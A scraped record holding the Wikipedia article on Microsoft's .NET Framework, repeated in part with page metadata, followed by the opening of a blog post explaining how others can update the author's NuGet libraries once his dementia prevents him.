.NET Framework introduces a Common Type System (CTS) that defines all possible data types and programming constructs supported by CLR and how they may or may not interact conforming to CLI specifications. Because of this feature, .NET Framework supports the exchange of types and object instances between libraries and applications written using any conforming CLI language.
Type safety
[edit]
CTS and the CLR used in .NET Framework also enforce type safety. This prevents ill-defined casts, wrong method invocations, and memory size issues when accessing an object. This also makes most CLI languages statically typed (with or without type inference). However, starting with .NET Framework 4.0, the Dynamic Language Runtime extended the CLR, allowing dynamically typed languages to be implemented atop the CLI.
Portability
[edit]
While Microsoft has never implemented the full framework on any system except Microsoft Windows, it has engineered the framework to be cross-platform,[23] and implementations are available for other operating systems (see Silverlight and § Alternative implementations). Microsoft submitted the specifications for CLI (which includes the Base Class Libraries, CTS, and CIL),[24][25][26] C#,[5] and C++/CLI[27] to both Ecma International (ECMA) and International Organization for Standardization (ISO), making them available as official standards. This makes it possible for third parties to create compatible implementations of the framework and its languages on other platforms.
Core cross-platform .NET (formerly .NET Core) is officially available also for many Linux distributions and MacOS.[28]
Security
[edit]
.NET Framework has its own security mechanism with two general features: Code Access Security (CAS), and validation and verification. CAS is based on evidence that is associated with a specific assembly. Typically the evidence is the source of the assembly (whether it is installed on the local machine or has been downloaded from the Internet). CAS uses evidence to determine the permissions granted to the code. When calling code demands that it be granted a specific permission, CLR performs a call stack walk checking every assembly of each method in the call stack for the required permission; if any assembly is not granted the permission, it will throw a security exception.
Managed CIL bytecode is easier to reverse-engineer than native code, unless obfuscated.[29] .NET decompiler programs enable developers with no reverse-engineering skills to view the source code behind unobfuscated .NET assemblies. In contrast, apps compiled to native machine code are much harder to reverse-engineer, and source code is almost never produced successfully, mainly because of compiler optimizations and lack of reflection.[30] This creates concerns in the business community over the possible loss of trade secrets and the bypassing of license control mechanisms. To mitigate this, Microsoft has included Dotfuscator Community Edition with Visual Studio .NET since 2002.[b] Third-party obfuscation tools are also available from vendors such as VMware, V.i. Labs, Turbo, and Red Gate Software. Method-level encryption tools for .NET code are available from vendors such as SafeNet.
Memory management
[edit]
CLR frees the developer from the burden of managing memory (allocating and freeing up when done); it handles memory management itself by detecting when memory can be safely freed. Instantiations of .NET types (objects) are allocated from the managed heap; a pool of memory managed by CLR. As long as a reference to an object exists, which may be either direct, or via a graph of objects, the object is considered to be in use. When no reference to an object exists, and it cannot be reached or used, it becomes garbage, eligible for collection.
.NET Framework includes a garbage collector (GC) which runs periodically, on a separate thread from the application's thread, that enumerates all the unusable objects and reclaims the memory allocated to them. It is a non-deterministic, compacting, mark-and-sweep garbage collector. GC runs only when a set amount of memory has been used or there is enough pressure for memory on the system. Since it is not guaranteed when the conditions to reclaim memory are reached, GC runs are non-deterministic. Each .NET application has a set of roots, which are pointers to objects on the managed heap (managed objects). These include references to static objects, objects defined as local variables or method parameters currently in scope, and objects referred to by CPU registers.[31] When GC runs, it pauses the application and then, for each object referred to in the root, it recursively enumerates all the objects reachable from the root objects and marks them as reachable. It uses CLI metadata and reflection to discover the objects encapsulated by an object, and then recursively walk them. It then enumerates all the objects on the heap (which were initially allocated contiguously) using reflection. All objects not marked as reachable are garbage.[31] This is the mark phase.[32] Since the memory held by garbage is of no consequence, it is considered free space. However, this leaves chunks of free space between objects which were initially contiguous. The objects are then compacted together to make free space on the managed heap contiguous again.[31][32] Any reference to an object invalidated by moving the object is updated by GC to reflect the new location.[32] The application is resumed after garbage collection ends. The latest version of .NET framework uses concurrent garbage collection along with user code, making pauses unnoticeable, because it is done in the background.[33]
The garbage collector used by .NET Framework is also generational.[34] Objects are assigned a generation. Newly created objects are tagged Generation 0. Objects that survive one garbage collection are tagged Generation 1. Generation 1 objects that survive another collection are Generation 2. The framework uses up to Generation 2 objects.[34] Higher generation objects are garbage collected less often than lower generation objects. This raises the efficiency of garbage collection, as older objects tend to have longer lifetimes than newer objects.[34] By ignoring older objects in most collection runs, fewer checks and compaction operations are needed in total.[34]
Performance
[edit]
When an application is first launched, the .NET Framework compiles the CIL code into executable code using its just-in-time compiler, and caches the executable program into the .NET Native Image Cache.[35][36] Due to caching, the application launches faster for subsequent launches, although the first launch is usually slower. To speed up the first launch, developers may use the Native Image Generator utility to manually ahead-of-time compile and cache any .NET application.[36]
The garbage collector, which is integrated into the environment, can introduce unanticipated delays of execution over which the developer has little direct control. "In large applications, the number of objects that the garbage collector needs to work with can become very large, which means it can take a very long time to visit and rearrange all of them."[37]
.NET Framework provides support for calling Streaming SIMD Extensions (SSE) via managed code from April 2014 in Visual Studio 2013 Update 2. However, Mono has provided support for SIMD Extensions as of version 2.2 within the Mono.Simd namespace in 2009.[38] Mono's lead developer Miguel de Icaza has expressed hope that this SIMD support will be adopted by CLR's ECMA standard.[39] Streaming SIMD Extensions have been available in x86 CPUs since the introduction of the Pentium III. Some other architectures such as ARM and MIPS also have SIMD extensions. In case the CPU lacks support for those extensions, the instructions are simulated in software.[40][41]
Alternative implementations
[edit]
.NET Framework was the predominant implementation of CLI, until the release of .NET. Other implementations for parts of the framework exist. Although the runtime engine is described by an ECMA-ISO specification, other implementations of it may be encumbered by patent issues; ISO standards may include the disclaimer, "Attention is drawn to the possibility that some of the elements of this document may be the subject of patent rights. ISO shall not be held responsible for identifying any or all such patent rights."[42] It is harder to develop alternatives to FCL, which is not described by an open standard and may be subject to copyright restrictions. Also, parts of FCL have Windows-specific functions and behavior, so implementation on non-Windows platforms can be problematic.
Some alternative implementations of parts of the framework are listed here.
.NET Micro Framework is a .NET platform for extremely resource-constrained devices. It includes a small version of CLR and supports development in C# (though some developers were able to use VB.NET,[43] albeit with an amount of hacking, and with limited functionalities) and debugging (in an emulator or on hardware), both using Microsoft Visual Studio. It also features a subset of .NET Framework Class Library (about 70 classes with about 420 methods), a GUI framework loosely based on WPF, and additional libraries specific to embedded applications.
Mono is an implementation of CLI and FCL, and provides added functions. It is licensed as free software under the MIT License. It includes support for ASP.NET, ADO.NET, and Windows Forms libraries for a wide range of architectures and operating systems. It also includes C# and VB.NET compilers.
Portable.NET (part of DotGNU) provides an implementation of CLI, parts of FCL, and a C# compiler. It supports a variety of CPUs and operating systems. The project was discontinued, with the last stable release in 2009.
Microsoft Shared Source Common Language Infrastructure is a non-free implementation of CLR. However, the last version runs on Windows XP SP2 only, and has not been updated since 2006. Thus, it does not contain all features of version 2.0 of .NET Framework.
CrossNet[44] is an implementation of CLI and parts of FCL. It is free software using an open source MIT License.
Licensing
[edit]
Microsoft managed code frameworks and their components are licensed as follows:
Component License .NET Framework (redistributable package) Proprietary software[45] Reference source code of .NET Framework 4.5 and earlier Microsoft Reference License (Ms-RSL[a])[9][46] Reference source code of .NET Framework 4.6 MIT License[47] Mono MIT License[15] .NET (formerly .NET Core)
CoreFX, CoreCLR and CLI MIT License[48] .NET Micro Framework Apache License 2.0[49] .NET Compiler Platform (codename "Roslyn") MIT License[50] ASP.NET MVC, Web API and Web Pages (Razor) Apache License 2.0[51] ASP.NET Core Apache License 2.0[52] ASP.NET Ajax Control Toolkit BSD License[53] ASP.NET SignalR Apache License 2.0[54] Entity Framework Apache License 2.0[55] NuGet Apache License 2.0[56]
See also
[edit]
Microsoft Foundation Class Library (MFC), an object-oriented abstraction used to ease Windows-based application programming prior to .NET Framework
.NET (formerly .NET Core)
List of CLI languages
Standard Libraries (CLI), the .NET standard libraries
Base Class Library (BCL)
Notes
[edit]
References
[edit]
|
||||||
8582
|
dbpedia
|
1
| 17
|
https://en.wikipedia.org/wiki/.NET_Framework
|
en
|
.NET Framework
|
[
"https://en.wikipedia.org/static/images/icons/wikipedia.png",
"https://en.wikipedia.org/static/images/mobile/copyright/wikipedia-wordmark-en.svg",
"https://en.wikipedia.org/static/images/mobile/copyright/wikipedia-tagline-en.svg",
"https://upload.wikimedia.org/wikipedia/commons/thumb/7/7d/Microsoft_.NET_logo.svg/120px-Microsoft_.NET_logo.svg.png",
"https://upload.wikimedia.org/wikipedia/commons/thumb/d/d3/DotNet.svg/220px-DotNet.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/8/8a/OOjs_UI_icon_edit-ltr-progressive.svg/10px-OOjs_UI_icon_edit-ltr-progressive.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/0/0d/Microsoft_.NET_Framework_v4.5_logo.png/220px-Microsoft_.NET_Framework_v4.5_logo.png",
"https://upload.wikimedia.org/wikipedia/commons/thumb/8/85/Overview_of_the_Common_Language_Infrastructure.svg/330px-Overview_of_the_Common_Language_Infrastructure.svg.png",
"https://upload.wikimedia.org/wikipedia/commons/thumb/4/42/UML_dotnet_streams.svg/220px-UML_dotnet_streams.svg.png",
"https://upload.wikimedia.org/wikipedia/commons/thumb/d/df/Wikibooks-logo-en-noslogan.svg/40px-Wikibooks-logo-en-noslogan.svg.png",
"https://upload.wikimedia.org/wikipedia/commons/thumb/0/0b/Wikiversity_logo_2017.svg/40px-Wikiversity_logo_2017.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/9/96/Symbol_category_class.svg/16px-Symbol_category_class.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/d/db/Symbol_list_class.svg/16px-Symbol_list_class.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/4/4a/Commons-logo.svg/12px-Commons-logo.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/9/96/Symbol_category_class.svg/16px-Symbol_category_class.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/9/96/Symbol_category_class.svg/16px-Symbol_category_class.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/d/db/Symbol_list_class.svg/16px-Symbol_list_class.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/8/8a/OOjs_UI_icon_edit-ltr-progressive.svg/10px-OOjs_UI_icon_edit-ltr-progressive.svg.png",
"https://login.wikimedia.org/wiki/Special:CentralAutoLogin/start?type=1x1",
"https://en.wikipedia.org/static/images/footer/wikimedia-button.svg",
"https://en.wikipedia.org/static/images/footer/poweredby_mediawiki.svg"
] |
[] |
[] |
[
""
] | null |
[
"Contributors to Wikimedia projects"
] |
2001-12-19T09:32:19+00:00
|
en
|
/static/apple-touch/wikipedia.png
|
https://en.wikipedia.org/wiki/.NET_Framework
|
Software platform developed by Microsoft
For the newer cross-platform framework, see .NET. For other uses, see .net (disambiguation).
.NET FrameworkDeveloper(s)MicrosoftInitial releaseFebruary 13, 2002; 22 years ago ( )Stable release
4.8.1 / August 9, 2022; 2 years ago ( )[1]
Operating systemWindows 98 or later, Windows NT 4.0 or laterPlatformIA-32, x86-64, and ARMIncluded withMicrosoft WindowsSuccessor.NETTypeSoftware frameworkLicenseMixed; see § LicensingWebsitedotnet .microsoft .com
The .NET Framework (pronounced as "dot net") is a proprietary software framework developed by Microsoft that runs primarily on Microsoft Windows. It was the predominant implementation of the Common Language Infrastructure (CLI) until being superseded by the cross-platform .NET project. It includes a large class library called Framework Class Library (FCL) and provides language interoperability (each language can use code written in other languages) across several programming languages. Programs written for .NET Framework execute in a software environment (in contrast to a hardware environment) named the Common Language Runtime (CLR). The CLR is an application virtual machine that provides services such as security, memory management, and exception handling. As such, computer code written using .NET Framework is called "managed code". FCL and CLR together constitute the .NET Framework.
FCL provides the user interface, data access, database connectivity, cryptography, web application development, numeric algorithms, and network communications. Programmers produce software by combining their source code with the .NET Framework and other libraries. The framework is intended to be used by most new applications created for the Windows platform. Microsoft also produces an integrated development environment for .NET software called Visual Studio.
.NET Framework began as proprietary software, although the firm worked to standardize the software stack almost immediately, even before its first release. Despite the standardization efforts, developers, mainly those in the free and open-source software communities, expressed their unease with the selected terms and the prospects of any free and open-source implementation, especially regarding software patents. Since then, Microsoft has changed .NET development to more closely follow a contemporary model of a community-developed software project, including issuing an update to its patent promising to address the concerns.[2]
In April 2019, Microsoft released .NET Framework 4.8, the last major version of the framework as a proprietary offering, followed by .NET Framework 4.8.1 in August 2022. Only monthly security and reliability bug fixes to that version have been released since then. No further changes to that version are planned. The .NET Framework will continue to be included with future releases of Windows and continue to receive security updates, with no plans to remove it as of November 2023.[3]
History
[edit]
Main article: .NET Framework version history
Microsoft began developing .NET Framework in the late 1990s, originally under the name of Next Generation Windows Services (NGWS), as part of the .NET strategy. By early 2000, the first beta versions of .NET 1.0 were released.
In August 2000, Microsoft and Intel worked to standardize Common Language Infrastructure (CLI) and C#. By December 2001, both were ratified by ECMA standards.[4][5] International Organization for Standardization (ISO) followed in April 2003. The current version of ISO standards are ISO/IEC 23271:2012 and ISO/IEC 23270:2006.[6][7]
While Microsoft and their partners hold patents for CLI and C#, ECMA and ISO require that all patents essential to implementation be made available under "reasonable and non-discriminatory terms". The firms agreed to meet these terms, and to make the patents available royalty-free. However, this did not apply to the part of the .NET Framework not covered by ECMA-ISO standards, which included Windows Forms, ADO.NET, and ASP.NET. Patents that Microsoft holds in these areas may have deterred non-Microsoft implementations of the full framework.[8]
Windows Vista is the first client version of Windows that integrated the .NET Framework.
On October 3, 2007, Microsoft announced that the source code for .NET Framework 3.5 libraries was to become available under the Microsoft Reference Source License (Ms-RSL[a]).[9] The source code repository became available online on January 16, 2008, and included BCL, ASP.NET, ADO.NET, Windows Forms, WPF, and XML. Scott Guthrie of Microsoft promised that LINQ, WCF, and WF libraries were being added.[10]
The .NET Compact Framework and .NET Micro Framework variants of the .NET Framework provided support for other Microsoft platforms such as Windows Mobile, Windows CE and other resource-constrained embedded devices. Silverlight provided support for web browsers via plug-ins.
In November 2014, Microsoft also produced an update to its patent grants, which further extends the scope beyond its prior pledges. Prior projects like Mono existed in a legal grey area because Microsoft's earlier grants applied only to the technology in "covered specifications", including strictly the 4th editions each of ECMA-334 and ECMA-335. The new patent promise, however, places no ceiling on the specification version, and even extends to any .NET runtime technologies documented on MSDN that have not been formally specified by the ECMA group, if a project chooses to implement them. This allows Mono and other projects to maintain feature parity with modern .NET features that have been introduced since the 4th edition was published without being at risk of patent litigation over the implementation of those features. The new grant does maintain the restriction that any implementation must maintain minimum compliance with the mandatory parts of the CLI specification.[11]
On March 31, 2016, Microsoft announced at Microsoft Build that they will completely relicense Mono under an MIT License even in scenarios where formerly a commercial license was needed.[12] Microsoft also supplemented its prior patent promise for Mono, stating that they will not assert any "applicable patents" against parties that are "using, selling, offering for sale, importing, or distributing Mono."[13][14] It was announced that the Mono Project was contributed to the .NET Foundation. These developments followed the acquisition of Xamarin, which began in February 2016 and was finished on March 18, 2016.[15]
Microsoft's press release highlights that the cross-platform commitment now allows for a fully open-source, modern server-side .NET stack. Microsoft released the source code for WPF, Windows Forms and WinUI on December 4, 2018.[16]
Architecture
[edit]
Common Language Infrastructure
[edit]
Main article: Common Language Infrastructure
Common Language Infrastructure (CLI) provides a language-neutral platform for application development and execution. By implementing the core aspects of .NET Framework within the scope of CLI, these functions will not be tied to one language but will be available across the many languages supported by the framework.
Common Language Runtime
[edit]
Main article: Common Language Runtime
.NET Framework includes the Common Language Runtime (CLR). It serves as the execution engine of .NET Framework and offers many services such as memory management, type safety, exception handling, garbage collection, security and thread management. All programs written for .NET Framework are executed by the CLR.
Programs written for .NET Framework are compiled into Common Intermediate Language code (CIL), as opposed to being directly compiled into machine code. During execution, an architecture-specific just-in-time compiler (JIT) turns the CIL code into machine code.
Assemblies
[edit]
Compiled CIL code is stored in CLI assemblies. As mandated by the specification, assemblies are stored in Portable Executable (PE) file format, common on Windows platform for all dynamic-link library (DLL) and executable EXE files. Each assembly consists of one or more files, one of which must contain a manifest bearing the metadata for the assembly. The complete name of an assembly (not to be confused with the file name on disk) contains its simple text name, version number, culture, and public key token. Assemblies are considered equivalent if they share the same complete name.
A private key can also be used by the creator of the assembly for strong naming. The public key token determines the real-world identity of the assembly's signer. Only those knowing their private key (of the double-key cryptography system) can sign assemblies that have the same strong name as a prior version assembly. Strong naming is required to add assemblies to Global Assembly Cache.
Starting with Visual Studio 2015, .NET Native compilation technology allows for the compilation of .NET code of Universal Windows Platform apps directly to machine code rather than CIL code, but the app must be written in either C# or Visual Basic.NET.[17]
Class library
[edit]
Main article: Framework Class Library
.NET Framework includes an implementation of the CLI foundational Standard Libraries. The .NET Framework Class Library (FCL) is organized in a hierarchy of namespaces. Most of the built-in application programming interfaces (APIs) are part of either System.* or Microsoft.* namespaces. These class libraries implement many common functions, such as file reading and writing, graphic rendering, database interaction, and XML document manipulation. The class libraries are available for all CLI compliant languages. The FCL implements the CLI Base Class Library (BCL) and other class libraries—some are specified by CLI and other are Microsoft specific.
BCL includes a small subset of the entire class library and is the core set of classes that serve as the basic API of CLR.[18] For .NET Framework most classes considered being part of BCL reside in mscorlib.dll, System.dll and System.Core.dll. BCL classes are available in .NET Framework as well as in CLI's alternative implementations including .NET Compact Framework, Microsoft Silverlight, .NET Core and Mono.
FCL refers to the entire class library that ships with .NET Framework. It includes BCL, an expanded set of libraries, including Windows Forms, ASP.NET, and Windows Presentation Foundation (WPF), and also extensions to the base class libraries ADO.NET, Language Integrated Query (LINQ), Windows Communication Foundation (WCF), and Workflow Foundation (WF). FCL is much larger in scope than standard libraries for languages like C++, and comparable in scope to standard libraries of Java.
With the introduction of alternative CLI's implementations (e.g., Silverlight), Microsoft introduced the concept of Portable Class Libraries (PCL) allowing a consuming library to run on more than one implementation. With the further proliferation of implementations, the PCL approach failed to scale (PCLs are defined intersections of API surface between two or more implementations).[19] As the next evolutionary step of PCL, the .NET Standard Library was created retroactively based on the System.Runtime.dll based APIs found in UWP and Silverlight. New CLI's implementations are encouraged to implement a version of the Standard Library allowing them to run existent third-party libraries with no need of creating new versions of them. The .NET Standard Library allows an independent evolution of the library and app model layers within the .NET architecture.[20]
NuGet is the package manager for all .NET platforms. It is used to retrieve third-party libraries into a .NET project with a global library feed at NuGet.org.[21] Private feeds can be maintained separately, e.g., by a build server or a file system directory.
C++/CLI
[edit]
Main article: C++/CLI
Microsoft introduced C++/CLI in Visual Studio 2005, which is a language and means of compiling Visual C++ programs to run within the .NET Framework. Some parts of the C++ program still run within an unmanaged Visual C++ Runtime, while specially modified parts are translated into CIL code and run with the .NET Framework's CLR.
Assemblies compiled using the C++/CLI compiler are termed mixed-mode assemblies since they contain native and managed code in the same DLL.[22] Such assemblies are more complex to reverse engineer since .NET decompilers such as .NET Reflector reveal only the managed code.
Design principles
[edit]
Interoperability
[edit]
Because computer systems commonly require interaction between newer and older applications, .NET Framework provides means to access functions implemented in newer and older programs that execute outside .NET environment. Access to Component Object Model (COM) components is provided in System.Runtime.InteropServices and System.EnterpriseServices namespaces of the framework. Access to other functions is via Platform Invocation Services (P/Invoke). Access to .NET functions from native applications is via the reverse P/Invoke function.
Language independence
[edit]
.NET Framework introduces a Common Type System (CTS) that defines all possible data types and programming constructs supported by CLR and how they may or may not interact conforming to CLI specifications. Because of this feature, .NET Framework supports the exchange of types and object instances between libraries and applications written using any conforming CLI language.
Type safety
[edit]
CTS and the CLR used in .NET Framework also enforce type safety. This prevents ill-defined casts, wrong method invocations, and memory size issues when accessing an object. This also makes most CLI languages statically typed (with or without type inference). However, starting with .NET Framework 4.0, the Dynamic Language Runtime extended the CLR, allowing dynamically typed languages to be implemented atop the CLI.
Portability
[edit]
While Microsoft has never implemented the full framework on any system except Microsoft Windows, it has engineered the framework to be cross-platform,[23] and implementations are available for other operating systems (see Silverlight and § Alternative implementations). Microsoft submitted the specifications for CLI (which includes the Base Class Libraries, CTS, and CIL),[24][25][26] C#,[5] and C++/CLI[27] to both Ecma International (ECMA) and International Organization for Standardization (ISO), making them available as official standards. This makes it possible for third parties to create compatible implementations of the framework and its languages on other platforms.
Core cross-platform .NET (formerly .NET Core) is officially available also for many Linux distributions and MacOS.[28]
Security
[edit]
.NET Framework has its own security mechanism with two general features: Code Access Security (CAS), and validation and verification. CAS is based on evidence that is associated with a specific assembly. Typically the evidence is the source of the assembly (whether it is installed on the local machine or has been downloaded from the Internet). CAS uses evidence to determine the permissions granted to the code. When calling code demands that it be granted a specific permission, CLR performs a call stack walk checking every assembly of each method in the call stack for the required permission; if any assembly is not granted the permission, it will throw a security exception.
Managed CIL bytecode is easier to reverse-engineer than native code, unless obfuscated.[29] .NET decompiler programs enable developers with no reverse-engineering skills to view the source code behind unobfuscated .NET assemblies. In contrast, apps compiled to native machine code are much harder to reverse-engineer, and source code is almost never produced successfully, mainly because of compiler optimizations and lack of reflection.[30] This creates concerns in the business community over the possible loss of trade secrets and the bypassing of license control mechanisms. To mitigate this, Microsoft has included Dotfuscator Community Edition with Visual Studio .NET since 2002.[b] Third-party obfuscation tools are also available from vendors such as VMware, V.i. Labs, Turbo, and Red Gate Software. Method-level encryption tools for .NET code are available from vendors such as SafeNet.
Memory management
[edit]
CLR frees the developer from the burden of managing memory (allocating and freeing up when done); it handles memory management itself by detecting when memory can be safely freed. Instantiations of .NET types (objects) are allocated from the managed heap; a pool of memory managed by CLR. As long as a reference to an object exists, which may be either direct, or via a graph of objects, the object is considered to be in use. When no reference to an object exists, and it cannot be reached or used, it becomes garbage, eligible for collection.
.NET Framework includes a garbage collector (GC) which runs periodically, on a separate thread from the application's thread, that enumerates all the unusable objects and reclaims the memory allocated to them. It is a non-deterministic, compacting, mark-and-sweep garbage collector. GC runs only when a set amount of memory has been used or there is enough pressure for memory on the system. Since it is not guaranteed when the conditions to reclaim memory are reached, GC runs are non-deterministic. Each .NET application has a set of roots, which are pointers to objects on the managed heap (managed objects). These include references to static objects, objects defined as local variables or method parameters currently in scope, and objects referred to by CPU registers.[31] When GC runs, it pauses the application and then, for each object referred to in the root, it recursively enumerates all the objects reachable from the root objects and marks them as reachable. It uses CLI metadata and reflection to discover the objects encapsulated by an object, and then recursively walk them. It then enumerates all the objects on the heap (which were initially allocated contiguously) using reflection. All objects not marked as reachable are garbage.[31] This is the mark phase.[32] Since the memory held by garbage is of no consequence, it is considered free space. However, this leaves chunks of free space between objects which were initially contiguous. The objects are then compacted together to make free space on the managed heap contiguous again.[31][32] Any reference to an object invalidated by moving the object is updated by GC to reflect the new location.[32] The application is resumed after garbage collection ends. The latest version of .NET framework uses concurrent garbage collection along with user code, making pauses unnoticeable, because it is done in the background.[33]
The garbage collector used by .NET Framework is also generational.[34] Objects are assigned a generation. Newly created objects are tagged Generation 0. Objects that survive one garbage collection are tagged Generation 1. Generation 1 objects that survive another collection are Generation 2. The framework uses up to Generation 2 objects.[34] Higher generation objects are garbage collected less often than lower generation objects. This raises the efficiency of garbage collection, as older objects tend to have longer lifetimes than newer objects.[34] By ignoring older objects in most collection runs, fewer checks and compaction operations are needed in total.[34]
Performance
[edit]
When an application is first launched, the .NET Framework compiles the CIL code into executable code using its just-in-time compiler, and caches the executable program into the .NET Native Image Cache.[35][36] Due to caching, the application launches faster for subsequent launches, although the first launch is usually slower. To speed up the first launch, developers may use the Native Image Generator utility to manually ahead-of-time compile and cache any .NET application.[36]
The garbage collector, which is integrated into the environment, can introduce unanticipated delays of execution over which the developer has little direct control. "In large applications, the number of objects that the garbage collector needs to work with can become very large, which means it can take a very long time to visit and rearrange all of them."[37]
.NET Framework provides support for calling Streaming SIMD Extensions (SSE) via managed code from April 2014 in Visual Studio 2013 Update 2. However, Mono has provided support for SIMD Extensions as of version 2.2 within the Mono.Simd namespace in 2009.[38] Mono's lead developer Miguel de Icaza has expressed hope that this SIMD support will be adopted by CLR's ECMA standard.[39] Streaming SIMD Extensions have been available in x86 CPUs since the introduction of the Pentium III. Some other architectures such as ARM and MIPS also have SIMD extensions. In case the CPU lacks support for those extensions, the instructions are simulated in software.[40][41]
Alternative implementations
[edit]
.NET Framework was the predominant implementation of CLI, until the release of .NET. Other implementations for parts of the framework exist. Although the runtime engine is described by an ECMA-ISO specification, other implementations of it may be encumbered by patent issues; ISO standards may include the disclaimer, "Attention is drawn to the possibility that some of the elements of this document may be the subject of patent rights. ISO shall not be held responsible for identifying any or all such patent rights."[42] It is harder to develop alternatives to FCL, which is not described by an open standard and may be subject to copyright restrictions. Also, parts of FCL have Windows-specific functions and behavior, so implementation on non-Windows platforms can be problematic.
Some alternative implementations of parts of the framework are listed here.
.NET Micro Framework is a .NET platform for extremely resource-constrained devices. It includes a small version of CLR and supports development in C# (though some developers were able to use VB.NET,[43] albeit with an amount of hacking, and with limited functionalities) and debugging (in an emulator or on hardware), both using Microsoft Visual Studio. It also features a subset of .NET Framework Class Library (about 70 classes with about 420 methods), a GUI framework loosely based on WPF, and additional libraries specific to embedded applications.
Mono is an implementation of CLI and FCL, and provides added functions. It is licensed as free software under the MIT License. It includes support for ASP.NET, ADO.NET, and Windows Forms libraries for a wide range of architectures and operating systems. It also includes C# and VB.NET compilers.
Portable.NET (part of DotGNU) provides an implementation of CLI, parts of FCL, and a C# compiler. It supports a variety of CPUs and operating systems. The project was discontinued, with the last stable release in 2009.
Microsoft Shared Source Common Language Infrastructure is a non-free implementation of CLR. However, the last version runs on Windows XP SP2 only, and has not been updated since 2006. Thus, it does not contain all features of version 2.0 of .NET Framework.
CrossNet[44] is an implementation of CLI and parts of FCL. It is free software using an open source MIT License.
Licensing
[edit]
Microsoft managed code frameworks and their components are licensed as follows:
Component License .NET Framework (redistributable package) Proprietary software[45] Reference source code of .NET Framework 4.5 and earlier Microsoft Reference License (Ms-RSL[a])[9][46] Reference source code of .NET Framework 4.6 MIT License[47] Mono MIT License[15] .NET (formerly .NET Core)
CoreFX, CoreCLR and CLI MIT License[48] .NET Micro Framework Apache License 2.0[49] .NET Compiler Platform (codename "Roslyn") MIT License[50] ASP.NET MVC, Web API and Web Pages (Razor) Apache License 2.0[51] ASP.NET Core Apache License 2.0[52] ASP.NET Ajax Control Toolkit BSD License[53] ASP.NET SignalR Apache License 2.0[54] Entity Framework Apache License 2.0[55] NuGet Apache License 2.0[56]
See also
[edit]
Microsoft Foundation Class Library (MFC), an object-oriented abstraction used to ease Windows-based application programming prior to .NET Framework
.NET (formerly .NET Core)
List of CLI languages
Standard Libraries (CLI), the .NET standard libraries
Base Class Library (BCL)
Notes
[edit]
References
[edit]
|
||||||
8582
|
dbpedia
|
3
| 18
|
https://www.thereformedprogrammer.net/how-to-update-a-nuget-library-once-the-author-isnt-available/
|
en
|
How to update a NuGet library once the author isn’t available – The Reformed Programmer
|
[
"https://www.thereformedprogrammer.net/wp-content/uploads/2021/10/EfCoreInAction-SecondEdition.jpg",
"https://www.thereformedprogrammer.net/wp-content/uploads/2024/05/VisualStudio-PlaceInFiles.png",
"https://www.thereformedprogrammer.net/wp-content/uploads/2024/05/VIsualStudioReloadProjects.png",
"https://www.thereformedprogrammer.net/wp-content/uploads/2024/05/NuGetPackagesForSolution.png",
"https://www.thereformedprogrammer.net/wp-content/uploads/2024/05/SettingLocalNuGet.png",
"https://secure.gravatar.com/avatar/0a8dc5c90559ac80bcc3a390de08653f?s=56&r=g",
"https://secure.gravatar.com/avatar/310b4799f437a0d9103d64f1b446a039?s=56&r=g",
"https://secure.gravatar.com/avatar/45e197295f04b982e21bf897073971e2?s=64&r=g"
] |
[] |
[] |
[
""
] | null |
[
"Author Jon P Smith"
] | null |
en
|
https://www.thereformedprogrammer.net/how-to-update-a-nuget-library-once-the-author-isnt-available/
|
I’m writing this article because I have an illness called dementia, which over time degrades a person’s ability to remember, think, and make decisions. This means at some point I won’t be able to build or update my open-source NuGet libraries, so this article shows you how to update my libraries when I’m not available.
I detected that something had changed because it affected my programming, in a bad way! This gave me early detection of my dementia, and the ways to overcome some the loss of me programming skills that dementia had taken away. (See the ENDNOTE dementia and programming section at the end of this article)
But my time is limited, so I have focused on making sure that users can still use my libraries before my dementia stops me from updating my libraries myself. Dementia works differently with each person so I won’t know if I can update my libraries to any new .NET, but I’m pretty sure I will be able to update my libraries to .NET 9, but I can’t say for sure on other years.
The rest of this article tells you which of my libraries need to be updated when Microsoft creates a new .NET version, e.g. .NET 9. While I have 20 NuGets in nuget.org, only seven of the NuGets use a specific .NET version – the others NuGets use NET Standard which doesn’t change.
NOTE: The approaches I describe in this article for updating my libraries also works on any NuGet libraries that aren’t being updated by their author(s).
TL;DR; – Summary of this article
In this article I use the following names:
Library: I refer to the source code of a library with the name “library”.
NuGet: I refer to a library that has been turned into an easy-to-use file referred to as a NuGet. https://www.nuget.org is one place which holds NuGets. NuGet are normally managed by your development app, e.g. Visual Studio.
.nupkg file: When creating a new NuGet you might have to work with the file ending with .nupkg. Typically you will have to manually move / push a .nupkg file to code that handles NuGets.
Many of my libraries use the NET Standard versions which will work with any supported .NET version . This means that you don’t have to update these libraries. This section covers this.
The pros and cons of building libraries that needs a specific .NET version is covers in this section.
I have seven libraries that use a specific .NET version, e.g. going from .NET 8 to .NET 9 (I call this a “NET-specific library”). These libraries needs to be updated when a new .NET version comes out, and some point I won’t be there to update them. There are two things I have done to make it easier to update:
I have made NET-specific libraries easier to update when a new .NET version comes out. This section covers this.
Then I detail how you can Clone the library’s code, update the library to a newer .NET version, and create a NuGet version. This section covers this.
At the end of this article I have a section called ENDNOTE dementia and programming covering my experience of dementia and programming, both good and bad.
NOTE: I use Visual Studio Community to show you how to update a library because that what I use, but I expect other development tools can do this too.
Libraries that only uses NET Standard NuGets don’t have to be updated when new .NET comes out, e.g. NET 9. NET Standard libraries contains a set of fundamental APIs (commonly referred to as base class library or BCL) that all .NET implementations must implement.
Eight of my libraries uses NET Standard and they typically provide a basic specific feature that can be used anywhere. For instance, the NetCore.AutoRegisterDi library can automatically register your services into the Microsoft NET’s Dependency injection provider – this library has the most downloads at 3.1 million and is the smallest library with ~200 lines of code.
The table below contains the eight libraries using NET Standard with links to the NuGet, documentation and an article which gives you an overview of each library.
The rest of this article covers the libraries that works with a specific .NET version, e.g. .NET 9. These libraries are focused on EF Core and ASP.NET Core applications.
The pros and cons of using full .NET version NuGets
